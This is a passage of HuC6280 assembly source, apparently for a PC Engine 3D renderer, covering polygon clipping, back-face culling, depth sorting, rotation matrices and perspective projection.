;(128-Z0)*(Y1-Y0) to mul16d:mul16c
jsr smul16
;(Z1-Z0) to mul16a
sec
lda transform2DWork1+4, y
sbc transform2DWork1+4, x
sta <mul16a
lda transform2DWork1+5, y
sbc transform2DWork1+5, x
sta <mul16a+1
;(128-Z0)*(Y1-Y0)/(Z1-Z0)
jsr sdiv32
;(128-Z0)*(Y1-Y0)/(Z1-Z0)+Y0
clc
lda <mul16a
adc transform2DWork1+2, x
sta <mul16a
lda <mul16a+1
adc transform2DWork1+3, x
sta <mul16a+1
;centerY-mul16a
subw <clipFrontY, <centerY, <mul16a
bbs7 <frontClipFlag, .clipFrontJump10
ldy <model2DClipIndexWork
lda <clipFrontX
sta clip2D0, y
iny
lda <clipFrontX+1
sta clip2D0, y
iny
lda <clipFrontY
sta clip2D0, y
iny
lda <clipFrontY+1
sta clip2D0, y
iny
sty <model2DClipIndexWork
lda #128
sta polyBufferZ0Work1
stz polyBufferZ0Work1+1
inc <frontClipCount
bra .clipFrontJump11
.clipFrontJump10:
ldy <model2DClipIndexWork
lda transform2DWork0, x
sta clip2D0, y
iny
lda transform2DWork0+1, x
sta clip2D0, y
iny
lda transform2DWork0+2, x
sta clip2D0, y
iny
lda transform2DWork0+3, x
sta clip2D0, y
iny
lda <clipFrontX
sta clip2D0, y
iny
lda <clipFrontX+1
sta clip2D0, y
iny
lda <clipFrontY
sta clip2D0, y
iny
lda <clipFrontY+1
sta clip2D0, y
iny
sty <model2DClipIndexWork
lda transform2DWork0+4, x
sta polyBufferZ0Work1
lda transform2DWork0+5, x
sta polyBufferZ0Work1+1
inc <frontClipCount
inc <frontClipCount
bra .clipFrontJump11
.clipFrontJump8:
ldy <model2DClipIndexWork
lda transform2DWork0, x
sta clip2D0, y
iny
lda transform2DWork0+1, x
sta clip2D0, y
iny
lda transform2DWork0+2, x
sta clip2D0, y
iny
lda transform2DWork0+3, x
sta clip2D0, y
iny
sty <model2DClipIndexWork
lda transform2DWork0+4, x
sta polyBufferZ0Work1
lda transform2DWork0+5, x
sta polyBufferZ0Work1+1
inc <frontClipCount
.clipFrontJump11:
;check Z sample
cmpw2 <polyBufferZ0Work0, <polyBufferZ0Work1
bpl .clipFrontJump9
movw <polyBufferZ0Work0, <polyBufferZ0Work1
.clipFrontJump9:
rts
;----------------------------
setModelProc:
;
ldy #$00
lda [modelAddr], y
sta <modelAddrWork ;ModelData Polygon Addr
iny
lda [modelAddr], y
sta <modelAddrWork+1
ldy #$02
lda [modelAddr], y ;Polygon Count
sta <modelPolygonCount
stz <polyBufferAddrWork0 ;ModelData Polygon
.setModelLoop0:
ldy <polyBufferAddrWork0
lda [modelAddrWork], y ;ModelData Vertex Count, Front Color
and #$F8
lsr a
lsr a
sta <setModelFrontColor
lda [modelAddrWork], y ;ModelData Vertex Count, Front Color
and #$07
sta <setModelCountWork
sta <setModelCount
iny
lda [modelAddrWork], y ;ModelData Polygon Attr, Back Color
sta <setModelAttr
and #$F8
lsr a
lsr a
sta <setModelBackColor
iny
sty <polyBufferAddrWork0
stz <polyBufferAddrWork1 ;clip2D
stz <polyBufferZ0Work0
stz <polyBufferZ0Work0+1
.setModelLoop1:
ldy <polyBufferAddrWork0 ;ModelData Polygon
lda [modelAddrWork], y
tax
ldy <polyBufferAddrWork1
;move to clip2D0
lda transform2DWork0, x ;2D X0
sta clip2D0, y
inx
iny
lda transform2DWork0, x
sta clip2D0, y
inx
iny
lda transform2DWork0, x ;2D Y0
sta clip2D0, y
inx
iny
lda transform2DWork0, x
sta clip2D0, y
inx
iny
sty <polyBufferAddrWork1
sec
lda transform2DWork0, x ;3D Z0
sbc <polyBufferZ0Work0
inx
lda transform2DWork0, x
bpl .setModelJump4 ;Z0<128 flag check
;next polygon data index
add <polyBufferAddrWork0, <setModelCount
jmp .setModelJump0
.setModelJump4:
sbc <polyBufferZ0Work0+1
bmi .setModelJump1 ;3D Z0 < polyBufferZ0Work0
dex
lda transform2DWork0,x ;3D Z0
sta <polyBufferZ0Work0
inx
lda transform2DWork0,x ;3D Z0
sta <polyBufferZ0Work0+1
.setModelJump1:
inc <polyBufferAddrWork0
dec <setModelCount
bne .setModelLoop1
;call clip2D
mov <clip2D0Count, <setModelCountWork
jsr clip2D
;.setModelJump3:
jeq .setModelJump0
;back side check cancel
bbs1 <setModelAttr, .setModelJump2
;back side check
sec
lda clip2D0+8 ;X2
sbc clip2D0+4 ;X1
sta <mul16a
cla
sbc #0
sta <mul16a+1
sec
lda clip2D0+2 ;Y0
sbc clip2D0+6 ;Y1
sta <mul16b
cla
sbc #0
sta <mul16b+1
jsr smul16
movq <div16ans, <mul16c
sec
lda clip2D0+10 ;Y2
sbc clip2D0+6 ;Y1
sta <mul16a
cla
sbc #0
sta <mul16a+1
sec
lda clip2D0 ;X0
sbc clip2D0+4 ;X1
sta <mul16b
cla
sbc #0
sta <mul16b+1
jsr smul16
cmpq2 <div16ans, <mul16c
bpl .setModelJump2
;back side
bbr0 <setModelAttr, .setModelJump6
jmp .setModelJump0
.setModelJump6:
lda <setModelBackColor
bra .setModelJump5
.setModelJump2:
;front side
lda <setModelFrontColor
.setModelJump5:
ldy #4
sta [polyBufferAddr], y ;COLOR
lda <clip2D0Count
ldy #5
sta [polyBufferAddr], y ;COUNT
clx
ldy #6
.setModelLoop2:
lda clip2D0, x
sta [polyBufferAddr], y
inx
inx
iny
lda clip2D0, x
sta [polyBufferAddr], y
inx
inx
iny
dec <clip2D0Count
bne .setModelLoop2
sty <polyBufferAddrWork2
;SAMPLE Z
ldy #2
lda <polyBufferZ0Work0 ;SAMPLE Z
sta [polyBufferAddr], y
iny
lda <polyBufferZ0Work0+1
sta [polyBufferAddr], y
;set buffer
movw <polyBufferNow, #polyBufferStart
.setBufferLoop:
ldy #0 ;NEXT ADDR
lda [polyBufferNow], y
sta <polyBufferNext
iny
lda [polyBufferNow], y
sta <polyBufferNext+1
ldy #2 ;NEXT SAMPLE Z
lda [polyBufferNext], y
sta <polyBufferZ0Work0
iny
lda [polyBufferNext], y
sta <polyBufferZ0Work0+1
ldy #2 ;SAMPLE Z
sec
lda [polyBufferAddr], y
sbc <polyBufferZ0Work0
iny
lda [polyBufferAddr], y
sbc <polyBufferZ0Work0+1
bpl .setBufferJump ;SAMPLE Z >= NEXT SAMPLE Z
movw <polyBufferNow, <polyBufferNext
bra .setBufferLoop
.setBufferJump:
ldy #0 ;BUFFER -> NEXT
lda <polyBufferNext
sta [polyBufferAddr], y
iny
lda <polyBufferNext+1
sta [polyBufferAddr], y
ldy #0 ;NOW -> BUFFER
lda <polyBufferAddr
sta [polyBufferNow], y
iny
lda <polyBufferAddr+1
sta [polyBufferNow], y
;next buffer addr
clc
lda <polyBufferAddr
adc <polyBufferAddrWork2
sta <polyBufferAddr
bcc .setModelJump0
inc <polyBufferAddr+1
;unset polygon
.setModelJump0:
;check triangle
bbs2 <setModelCountWork, .setModelJump7
;triangle
inc <polyBufferAddrWork0
.setModelJump7:
dec <modelPolygonCount
jne .setModelLoop0
rts
;----------------------------
initializePolyBuffer:
;
;initialize polyBufferAddr = polyBuffer
movw <polyBufferAddr, #polyBuffer
;polyBufferStart NEXT ADDR = polyBufferEnd
movw polyBufferStart, #polyBufferEnd
;polyBufferStart SAMPLE Z = $7FFF
movw polyBufferStart+2, #$7FFF
;polyBufferEnd SAMPLE Z = $0000
stzw polyBufferEnd+2
;polyBufferEnd COLOR = $00
stz polyBufferEnd+4
;polyBufferEnd COUNT = $00
stz polyBufferEnd+5
rts
;----------------------------
moveMatrix1ToMatrix0:
;
tii matrix1, matrix0, 18
rts
;----------------------------
moveMatrix1ToMatrix2:
;
tii matrix1, matrix2, 18
rts
;----------------------------
moveMatrix2ToMatrix0:
;
tii matrix2, matrix0, 18
rts
;----------------------------
setMatrix1RotationX:
;
stz matrix1+0+0
lda #$40
sta matrix1+0+1
stz matrix1+0+2
stz matrix1+0+3
stz matrix1+0+4
stz matrix1+0+5
stz matrix1+6+0
stz matrix1+6+1
lda cosDataLow, x
sta matrix1+6+2
lda cosDataHigh, x
sta matrix1+6+3
clc
lda sinDataLow, x
eor #$FF
adc #$01
sta matrix1+6+4
lda sinDataHigh, x
eor #$FF
adc #$00
sta matrix1+6+5
stz matrix1+12+0
stz matrix1+12+1
lda sinDataLow,x
sta matrix1+12+2
lda sinDataHigh, x
sta matrix1+12+3
lda cosDataLow,x
sta matrix1+12+4
lda cosDataHigh, x
sta matrix1+12+5
rts
;----------------------------
setMatrix1RotationY:
;
lda cosDataLow, x
sta matrix1+0+0
lda cosDataHigh, x
sta matrix1+0+1
stz matrix1+0+2
stz matrix1+0+3
lda sinDataLow, x
sta matrix1+0+4
lda sinDataHigh, x
sta matrix1+0+5
stz matrix1+6+0
stz matrix1+6+1
stz matrix1+6+2
lda #$40
sta matrix1+6+3
stz matrix1+6+4
stz matrix1+6+5
clc
lda sinDataLow, x
eor #$FF
adc #$01
sta matrix1+12+0
lda sinDataHigh, x
eor #$FF
adc #$00
sta matrix1+12+1
stz matrix1+12+2
stz matrix1+12+3
lda cosDataLow, x
sta matrix1+12+4
lda cosDataHigh, x
sta matrix1+12+5
rts
;----------------------------
setMatrix1RotationZ:
;
lda cosDataLow, x
sta matrix1+0+0
lda cosDataHigh, x
sta matrix1+0+1
clc
lda sinDataLow, x
eor #$FF
adc #$01
sta matrix1+0+2
lda sinDataHigh, x
eor #$FF
adc #$00
sta matrix1+0+3
stz matrix1+0+4
stz matrix1+0+5
lda sinDataLow, x
sta matrix1+6+0
lda sinDataHigh, x
sta matrix1+6+1
lda cosDataLow, x
sta matrix1+6+2
lda cosDataHigh, x
sta matrix1+6+3
stz matrix1+6+4
stz matrix1+6+5
stz matrix1+12+0
stz matrix1+12+1
stz matrix1+12+2
stz matrix1+12+3
stz matrix1+12+4
lda #$40
sta matrix1+12+5
rts
;----------------------------
vertexTranslation:
;
.vertexTranslationLoop:
cly
clc
lda [vertex0Addr], y
adc <translationX
sta [vertex1Addr], y
iny
lda [vertex0Addr], y
adc <translationX+1
sta [vertex1Addr], y
iny
clc
lda [vertex0Addr], y
adc <translationY
sta [vertex1Addr], y
iny
lda [vertex0Addr], y
adc <translationY+1
sta [vertex1Addr], y
iny
clc
lda [vertex0Addr], y
adc <translationZ
sta [vertex1Addr], y
iny
lda [vertex0Addr], y
adc <translationZ+1
sta [vertex1Addr], y
iny
clc
lda <vertex0Addr
adc #$06
sta <vertex0Addr
bcc .vertexTranslationJump00
inc <vertex0Addr+1
.vertexTranslationJump00:
clc
lda <vertex1Addr
adc #$06
sta <vertex1Addr
bcc .vertexTranslationJump01
inc <vertex1Addr+1
.vertexTranslationJump01:
dec <vertexCount
bne .vertexTranslationLoop
rts
;----------------------------
vertexMultiply:
;
.vertexMultiplyLoop2:
clx
.vertexMultiplyLoop1:
stz <vertexWork
stz <vertexWork+1
stz <vertexWork+2
stz <vertexWork+3
cly
.vertexMultiplyLoop0:
lda [vertex0Addr], y
sta <mul16a
iny
lda [vertex0Addr], y
sta <mul16a+1
iny
lda matrix2, x
sta <mul16b
inx
lda matrix2, x
sta <mul16b+1
inx
jsr smul16
addq <vertexWork, <mul16c, <vertexWork
cpy #6
bne .vertexMultiplyLoop0
lda <vertexWork+2
asl <vertexWork+1
rol a
rol <vertexWork+3
asl <vertexWork+1
rol a
rol <vertexWork+3
sta [vertex1Addr]
inc <vertex1Addr
bne .vertexMultiplyJump00
inc <vertex1Addr+1
.vertexMultiplyJump00:
lda <vertexWork+3
sta [vertex1Addr]
inc <vertex1Addr
bne .vertexMultiplyJump01
inc <vertex1Addr+1
.vertexMultiplyJump01:
cpx #18
bne .vertexMultiplyLoop1
clc
lda <vertex0Addr
adc #$06
sta <vertex0Addr
bcc .vertexMultiplyJump02
inc <vertex0Addr+1
.vertexMultiplyJump02:
dec <vertexCount
bne .vertexMultiplyLoop2
rts
;----------------------------
matrixMultiply:
;
stz vertex1Addr
cly
clx
.matrixMultiplyLoop0:
lda matrix0, x
sta <mul16a
lda matrix0+1, x
sta <mul16a+1
lda matrix1, y
sta <mul16b
lda matrix1+1, y
sta <mul16b+1
jsr smul16
movq <vertexWork, <mul16c
;----------------
lda matrix0+6, x
sta <mul16a
lda matrix0+7, x
sta <mul16a+1
lda matrix1+2, y
sta <mul16b
lda matrix1+3, y
sta <mul16b+1
jsr smul16
addq <vertexWork, <mul16c, <vertexWork
;----------------
lda matrix0+12, x
sta <mul16a
lda matrix0+13, x
sta <mul16a+1
lda matrix1+4, y
sta <mul16b
lda matrix1+5, y
sta <mul16b+1
jsr smul16
addq <vertexWork, <mul16c, <vertexWork
;----------------
lda <vertexWork+2
asl <vertexWork+1
rol a
rol <vertexWork+3
asl <vertexWork+1
rol a
rol <vertexWork+3
phx
ldx <vertex1Addr
sta matrix2, x
inx
lda <vertexWork+3
sta matrix2, x
inx
stx <vertex1Addr
plx
inx
inx
cpx #6
jne .matrixMultiplyLoop0
clx
clc
tya
adc #6
tay
cpy #18
jne .matrixMultiplyLoop0
rts
;----------------------------
transform2D:
;
.transform2DLoop0:
;Z0 < 128 check
ldy #$04
sec
lda [vertex0Addr], y
sbc #128
iny
lda [vertex0Addr], y
sbc #00
jmi .transform2DJump00
;X0 to mul16c
ldy #$00
lda [vertex0Addr], y
sta <mul16c
iny
lda [vertex0Addr], y
sta <mul16c+1
;Z0 to mul16a
ldy #$04
lda [vertex0Addr], y
sta <mul16a
iny
lda [vertex0Addr], y
sta <mul16a+1
;X0*128/Z0
jsr transform2DProc
;X0*128/Z0+centerX
;mul16a+centerX to vertex1Addr X0
ldy #$00
clc
lda <mul16a
adc <centerX
sta [vertex1Addr], y
iny
lda <mul16a+1
adc <centerX+1
sta [vertex1Addr], y
;Y0 to mul16c
ldy #$02
lda [vertex0Addr], y
sta <mul16c
iny
lda [vertex0Addr], y
sta <mul16c+1
;Z0 to mul16a
ldy #$04
lda [vertex0Addr], y
sta <mul16a
iny
lda [vertex0Addr], y
sta <mul16a+1
;Y0*128/Z0
jsr transform2DProc
;centerY-Y0*128/Z0
;centerY-mul16a to vertex1Addr Y0
ldy #$02
sec
lda <centerY
sbc <mul16a
sta [vertex1Addr], y
iny
lda <centerY+1
sbc <mul16a+1
sta [vertex1Addr], y
;Z0>=128 flag set
;Z0 set
iny
lda [vertex0Addr], y
sta [vertex1Addr], y
iny
lda [vertex0Addr], y
sta [vertex1Addr], y
jmp .transform2DJump01
.transform2DJump00:
;Z0<128 flag set
ldy #$04
lda #$00
sta [vertex1Addr], y
iny
lda #$80
sta [vertex1Addr], y
.transform2DJump01:
addwb <vertex0Addr, #$06
addwb <vertex1Addr, #$06
dec <vertexCount
jne .transform2DLoop0
rts
;----------------------------
transform2DProc:
;mul16a(rough value) = (mul16c(-32768_32767) * 128 / mul16a(1_32767))
;push x
phx
;push y
phy
;c sign
lda <mul16c+1
pha
bpl .jp00
;c neg
sec
cla
sbc <mul16c
sta <mul16c
cla
sbc <mul16c+1
sta <mul16c+1
.jp00:
stz <muladdr
;get div data
ldy <div16a+1
lda divbankdata, y
tax
tam #$02
lda muladdrdata, y
sta <muladdr+1
ldy <div16a
lda [muladdr], y
sta <sqrt64a
clc
txa
adc #4 ;carry clear
tam #$02
lda [muladdr], y
sta <sqrt64a+1
txa
adc #8 ;carry clear
tam #$02
lda [muladdr], y
sta <sqrt64a+2
;mul mul16c low byte
ldy <mul16c
lda mul2bankdata, y
tam #$02
lda mul2addrdata, y
sta <muladdr+1
ldy <sqrt64a
lda [muladdr], y
sta <sqrt64b
ldy <sqrt64a+1
lda [muladdr], y
sta <sqrt64b+1
ldy <sqrt64a+2
lda [muladdr], y
sta <sqrt64b+2
inc <muladdr+1
ldx #LOW(sqrt64b)+1
ldy <sqrt64a
set
adc [muladdr], y
inx
ldy <sqrt64a+1
set
adc [muladdr], y
ldy <sqrt64a+2
lda [muladdr], y
adc #0 ;carry clear
sta <sqrt64b+3
;mul mul16c high byte
ldy <mul16c+1
lda mul2bankdata, y
tam #$02
lda mul2addrdata, y
sta <muladdr+1
ldx #LOW(sqrt64b)+1
ldy <sqrt64a
set
adc [muladdr], y
inx
ldy <sqrt64a+1
set
adc [muladdr], y
inx
ldy <sqrt64a+2
set
adc [muladdr], y
inc <muladdr+1
ldx #LOW(sqrt64b)+2
ldy <sqrt64a
clc
set
adc [muladdr], y
inx
ldy <sqrt64a+1
set
adc [muladdr], y
movw <mul16a, <sqrt64b+2
pla
bpl .jp01
;ans neg
sec
cla
sbc <mul16a
sta <mul16a
cla
sbc <mul16a+1
sta <mul16a+1
.jp01:
;pull y
ply
;pull x
plx
rts
;----------------------------
clip2D:
;
clx
ldy <clip2D0Count
.loop0:
lda clip2D0+1, x
bne .clipOut
lda clip2D0+3, x
bne .clipOut
lda clip2D0+2, x
cmp #192
bcs .clipOut
lda intTable+4, x
tax
dey
bne .loop0
lda <clip2D0Count
rts
.clipOut:
jsr clip2DY0
lda <clip2D1Count
beq .clip2DEnd
jsr clip2DY255
lda <clip2D0Count
beq .clip2DEnd
jsr clip2DX0
lda <clip2D1Count
beq .clip2DEnd
jsr clip2DX255
lda <clip2D0Count
.clip2DEnd:
rts
;----------------------------
clip2DX255:
;
lda <clip2D1Count
asl a
asl a
tax
lda clip2D1 ;X0
sta clip2D1, x ;last X
lda clip2D1+1
sta clip2D1+1, x
lda clip2D1+2 ;Y0
sta clip2D1+2, x ;last Y
lda clip2D1+3
sta clip2D1+3, x
clx
cly
stz <clip2D0Count
.clip2DX255Loop0:
stz <clip2DFlag
sec
lda clip2D1, x ;X0
sbc #$00
lda clip2D1+1, x
sbc #$01
bmi .clip2DX255Jump00
smb0 <clip2DFlag
.clip2DX255Jump00:
sec
lda clip2D1+4, x ;X1
sbc #$00
lda clip2D1+5, x
sbc #$01
bmi .clip2DX255Jump01
smb1 <clip2DFlag
.clip2DX255Jump01:
lda <clip2DFlag
jeq .clip2DX255Jump02
cmp #$03
jeq .clip2DX255Jump03
;(255-X0) to mul16a
sec
lda #255
sbc clip2D1, x ;X0
sta <mul16a
lda #0
sbc clip2D1+1, x
sta <mul16a+1
;(Y1-Y0) to mul16b
sec
lda clip2D1+6, x ;Y1
sbc clip2D1+2, x ;Y0
sta <mul16b
lda clip2D1+7, x
sbc clip2D1+3, x
sta <mul16b+1
;(255-X0)*(Y1-Y0) to mul16d:mul16c
jsr smul16
;(X1-X0) to mul16a
sec
lda clip2D1+4, x ;X1
sbc clip2D1, x ;X0
sta <mul16a
lda clip2D1+5, x
sbc clip2D1+1, x
sta <mul16a+1
;(255-X0)*(Y1-Y0)/(X1-X0)
jsr sdiv32
;(255-X0)*(Y1-Y0)/(X1-X0)+Y0
clc
lda <mul16a
adc clip2D1+2, x ;Y0
sta <mul16a
lda <mul16a+1
adc clip2D1+3, x
sta <mul16a+1
bbs1 <clip2DFlag, .clip2DX255Jump04
;X0>255 X1<=255
lda #$FF
sta clip2D0, y ;X0
lda #$00
sta clip2D0+1, y
lda <mul16a
sta clip2D0+2, y ;Y0
lda <mul16a+1
sta clip2D0+3, y
inc <clip2D0Count
lda intTable+4, y
tay
bra .clip2DX255Jump03
.clip2DX255Jump04:
;X0<=255 X1>255
lda clip2D1, x ;X0
sta clip2D0, y ;X0
lda clip2D1+1, x
sta clip2D0+1, y
lda clip2D1+2, x ;Y0
sta clip2D0+2, y ;Y0
lda clip2D1+3, x
sta clip2D0+3, y
lda #$FF
sta clip2D0+4, y ;X1
lda #$00
sta clip2D0+5, y
lda <mul16a
sta clip2D0+6, y ;Y1
lda <mul16a+1
sta clip2D0+7, y
add <clip2D0Count, #$02
lda intTable+8, y
tay
bra .clip2DX255Jump03
.clip2DX255Jump02:
;X0<=255 X1<=255
lda clip2D1, x ;X0
sta clip2D0, y ;X0
lda clip2D1+1, x
sta clip2D0+1, y
lda clip2D1+2, x ;Y0
sta clip2D0+2, y ;Y0
lda clip2D1+3, x
sta clip2D0+3, y
inc <clip2D0Count
lda intTable+4, y
tay
.clip2DX255Jump03:
;X0>255 X1>255
lda intTable+4, x
tax
dec <clip2D1Count
jne .clip2DX255Loop0
rts
;----------------------------
clip2DX0:
;
lda <clip2D0Count
asl a
asl a
tax
lda clip2D0 ;X0
sta clip2D0, x ;last X
lda clip2D0+1
sta clip2D0+1, x
lda clip2D0+2 ;Y0
sta clip2D0+2, x ;last Y
lda clip2D0+3
sta clip2D0+3, x
clx
cly
stz <clip2D1Count
.clip2DX0Loop0:
stz <clip2DFlag
lda clip2D0+1,x ;X0
bpl .clip2DX0Jump00
smb0 <clip2DFlag
.clip2DX0Jump00:
lda clip2D0+5,x ;X1
bpl .clip2DX0Jump01
smb1 <clip2DFlag
.clip2DX0Jump01:
lda <clip2DFlag
jeq .clip2DX0Jump02
cmp #$03
jeq .clip2DX0Jump03
;(0-X0) to mul16a
sec
lda #0
sbc clip2D0, x ;X0
sta <mul16a
lda #0
sbc clip2D0+1, x
sta <mul16a+1
;(Y1-Y0) to mul16b
sec
lda clip2D0+6, x ;Y1
sbc clip2D0+2, x ;Y0
sta <mul16b
lda clip2D0+7, x
sbc clip2D0+3, x
sta <mul16b+1
;(0-X0)*(Y1-Y0) to mul16d:mul16c
jsr smul16
;(X1-X0) to mul16a
sec
lda clip2D0+4, x ;X1
sbc clip2D0, x ;X0
sta <mul16a
lda clip2D0+5, x
sbc clip2D0+1, x
sta <mul16a+1
;(0-X0)*(Y1-Y0)/(X1-X0)
jsr sdiv32
;(0-X0)*(Y1-Y0)/(X1-X0)+Y0
clc
lda <mul16a
adc clip2D0+2, x ;Y0
sta <mul16a
lda <mul16a+1
adc clip2D0+3, x
sta <mul16a+1
bbs1 <clip2DFlag, .clip2DX0Jump04
;X0<0 X1>=0
lda #$00
sta clip2D1, y ;X0
lda #$00
sta clip2D1+1, y
lda <mul16a
sta clip2D1+2, y ;Y0
lda <mul16a+1
sta clip2D1+3, y
inc <clip2D1Count
lda intTable+4, y
tay
bra .clip2DX0Jump03
.clip2DX0Jump04:
;X0>=0 X1<0
lda clip2D0, x ;X0
sta clip2D1, y ;X0
lda clip2D0+1, x
sta clip2D1+1, y
lda clip2D0+2, x ;Y0
sta clip2D1+2, y ;Y0
lda clip2D0+3, x
sta clip2D1+3, y
lda #$00
sta clip2D1+4, y ;X1
lda #$00
sta clip2D1+5, y
lda <mul16a
sta clip2D1+6, y ;Y1
lda <mul16a+1
sta clip2D1+7, y
add <clip2D1Count, #$02
lda intTable+8, y
tay
bra .clip2DX0Jump03
.clip2DX0Jump02:
;X0>=0 X1>=0
lda clip2D0, x ;X0
sta clip2D1, y ;X0
lda clip2D0+1, x
sta clip2D1+1, y
lda clip2D0+2, x ;Y0
sta clip2D1+2, y ;Y0
lda clip2D0+3, x
sta clip2D1+3, y
inc <clip2D1Count
lda intTable+4, y
tay
.clip2DX0Jump03:
;X0<0 X1<0
lda intTable+4, x
tax
dec <clip2D0Count
jne .clip2DX0Loop0
rts
;----------------------------
clip2DY255:
;
lda <clip2D1Count
asl a
asl a
tax
lda clip2D1 ;X0
sta clip2D1, x ;last X
lda clip2D1+1
sta clip2D1+1, x
lda clip2D1+2 ;Y0
sta clip2D1+2, x ;last Y
lda clip2D1+3
sta clip2D1+3, x
clx
cly
stz <clip2D0Count
.clip2DY255Loop0:
stz <clip2DFlag
sec
lda clip2D1+2, x ;Y0
sbc #192
lda clip2D1+3, x
sbc #0
bmi .clip2DY255Jump00
smb0 <clip2DFlag
.clip2DY255Jump00:
sec
lda clip2D1+6, x ;Y1
sbc #192
lda clip2D1+7, x
sbc #0
bmi .clip2DY255Jump01
smb1 <clip2DFlag
.clip2DY255Jump01:
lda <clip2DFlag
jeq .clip2DY255Jump02
cmp #$03
jeq .clip2DY255Jump03
.
;(191-Y0) to mul16a
sec
lda #191
sbc clip2D1+2, x ;Y0
sta <mul16a
lda #0
sbc clip2D1+3, x
sta <mul16a+1
;(X1-X0) to mul16b
sec
lda clip2D1+4, x ;X1
sbc clip2D1, x ;X0
sta <mul16b
lda clip2D1+5, x
sbc clip2D1+1, x
sta <mul16b+1
;(191-Y0)*(X1-X0) to mul16d:mul16c
jsr smul16
;(Y1-Y0) to mul16a
sec
lda clip2D1+6, x ;Y1
sbc clip2D1+2, x ;Y0
sta <mul16a
lda clip2D1+7, x
sbc clip2D1+3, x
sta <mul16a+1
;(191-Y0)*(X1-X0)/(Y1-Y0)
jsr sdiv32
;(191-Y0)*(X1-X0)/(Y1-Y0)+X0
clc
lda <mul16a
adc clip2D1, x ;X0
sta <mul16a
lda <mul16a+1
adc clip2D1+1, x
sta <mul16a+1
bbs1 <clip2DFlag, .clip2DY255Jump04
;Y0>191 Y1<=191
lda <mul16a
sta clip2D0, y ;X0
lda <mul16a+1
sta clip2D0+1, y
lda #191
sta clip2D0+2, y ;Y0
lda #0
sta clip2D0+3, y
inc <clip2D0Count
lda intTable+4, y
tay
bra .clip2DY255Jump03
.clip2DY255Jump04:
;Y0<=191 Y1>191
lda clip2D1, x ;X0
sta clip2D0, y ;X0
lda clip2D1+1, x
sta clip2D0+1, y
lda clip2D1+2, x ;Y0
sta clip2D0+2, y ;Y0
lda clip2D1+3, x
sta clip2D0+3, y
lda <mul16a
sta clip2D0+4, y ;X1
lda <mul16a+1
sta clip2D0+5, y
lda #191
sta clip2D0+6, y ;Y1
lda #0
sta clip2D0+7, y
add <clip2D0Count, #$02
lda intTable+8, y
tay
bra .clip2DY255Jump03
.clip2DY255Jump02:
;Y0<=191 Y1<=191
lda clip2D1, x ;X0
sta clip2D0, y ;X0
lda clip2D1+1, x
sta clip2D0+1, y
lda clip2D1+2, x ;Y0
sta clip2D0+2, y ;Y0
lda clip2D1+3, x
sta clip2D0+3, y
inc <clip2D0Count
lda intTable+4, y
tay
.clip2DY255Jump03:
;Y0>191 Y1>191
lda intTable+4, x
tax
dec <clip2D1Count
jne .clip2DY255Loop0
rts
;----------------------------
clip2DY0:
;
lda <clip2D0Count
asl a
asl a
tax
lda clip2D0 ;X0
sta clip2D0, x ;last X
lda clip2D0+1
sta clip2D0+1, x
lda clip2D0+2 ;Y0
sta clip2D0+2, x ;last Y
lda clip2D0+3
sta clip2D0+3, x
clx
cly
stz <clip2D1Count
.clip2DY0Loop0:
stz <clip2DFlag
lda clip2D0+3, x ;Y0
bpl .clip2DY0Jump00
smb0 <clip2DFlag
.clip2DY0Jump00:
lda clip2D0+7, x ;Y1
bpl .clip2DY0Jump01
smb1 <clip2DFlag
.clip2DY0Jump01:
lda <clip2DFlag
jeq .clip2DY0Jump02
cmp #$03
jeq .clip2DY0Jump03
.
;(0-Y0) to mul16a
sec
lda #0
sbc clip2D0+2, x ;Y0
sta <mul16a
lda #0
sbc clip2D0+3, x
sta <mul16a+1
;(X1-X0) to mul16b
sec
lda clip2D0+4, x ;X1
sbc clip2D0, x ;X0
sta <mul16b
lda clip2D0+5, x
sbc clip2D0+1, x
sta <mul16b+1
;(0-Y0)*(X1-X0) to mul16d:mul16c
jsr smul16
;(Y1-Y0) to mul16a
sec
lda clip2D0+6, x ;Y1
sbc clip2D0+2, x ;Y0
sta <mul16a
lda clip2D0+7, x
sbc clip2D0+3, x
sta <mul16a+1
;(0-Y0)*(X1-X0)/(Y1-Y0)
jsr sdiv32
;(0-Y0)*(X1-X0)/(Y1-Y0)+X0
clc
lda <mul16a
adc clip2D0, x ;X0
sta <mul16a
lda <mul16a+1
adc clip2D0+1, x
sta <mul16a+1
bbs1 <clip2DFlag, .clip2DY0Jump04
;Y0<0 Y1>=0
lda <mul16a
sta clip2D1, y ;X0
lda <mul16a+1
sta clip2D1+1, y
lda #$00
sta clip2D1+2, y ;Y0
lda #$00
sta clip2D1+3, y
inc <clip2D1Count
lda intTable+4, y
tay
bra .clip2DY0Jump03
.clip2DY0Jump04:
;Y0>=0 Y1<0
lda clip2D0, x ;X0
sta clip2D1, y ;X0
lda clip2D0+1, x
sta clip2D1+1, y
lda clip2D0+2, x ;Y0
sta clip2D1+2, y ;Y0
lda clip2D0+3, x
sta clip2D1+3, y
lda <mul16a
sta clip2D1+4, y ;X1
lda <mul16a+1
sta clip2D1+5, y
lda #$00
sta clip2D1+6, y ;Y1
lda #$00
sta clip2D1+7, y
add <clip2D1Count, #$02
lda intTable+8, y
tay
bra .clip2DY0Jump03
.clip2DY0Jump02:
;Y0>=0 Y1>=0
lda clip2D0, x ;X0
sta clip2D1, y ;X0
lda clip2D0+1, x
sta clip2D1+1, y
lda clip2D0+2, x ;Y0
sta clip2D1+2, y ;Y0
lda clip2D0+3, x
sta clip2D1+3, y
inc <clip2D1Count
lda intTable+4, y
tay
.clip2DY0Jump03:
;Y0<0 Y1<0
lda intTable+4, x
tax
dec <clip2D0Count
jne .clip2DY0Loop0
rts
;----------------------------
calcEdge_putPoly:
;
lda <clip2D0Count
asl a
asl a
tax
lda clip2D0
sta clip2D0, x
lda clip2D0+2
sta clip2D0+2, x
mov <minEdgeY, #$FF
jsr initCalcEdge
clx
;first process
lda clip2D0, x
sta <edgeX0
lda clip2D0+2, x
sta <edgeY0
cmp <minEdgeY
jcs .calcEdge_putPolyJump3
sta <minEdgeY
.calcEdge_putPolyJump3:
lda clip2D0+4, x
sta <edgeX1
lda clip2D0+6, x
sta <edgeY1
phx
jsr calcEdge0
ply
ldx intTable+4, y
dec <clip2D0Count
;next process
.calcEdge_putPolyLoop0:
lda clip2D0, x
sta <edgeX0
lda clip2D0+2, x
sta <edgeY0
cmp <minEdgeY
jcs .calcEdge_putPolyJump2
sta <minEdgeY
.calcEdge_putPolyJump2:
lda clip2D0+4, x
sta <edgeX1
lda clip2D0+6, x
sta <edgeY1
phx
jsr calcEdge
ply
ldx intTable+4, y
dec <clip2D0Count
bne .calcEdge_putPolyLoop0
jsr putPolyLine
rts
;----------------------------
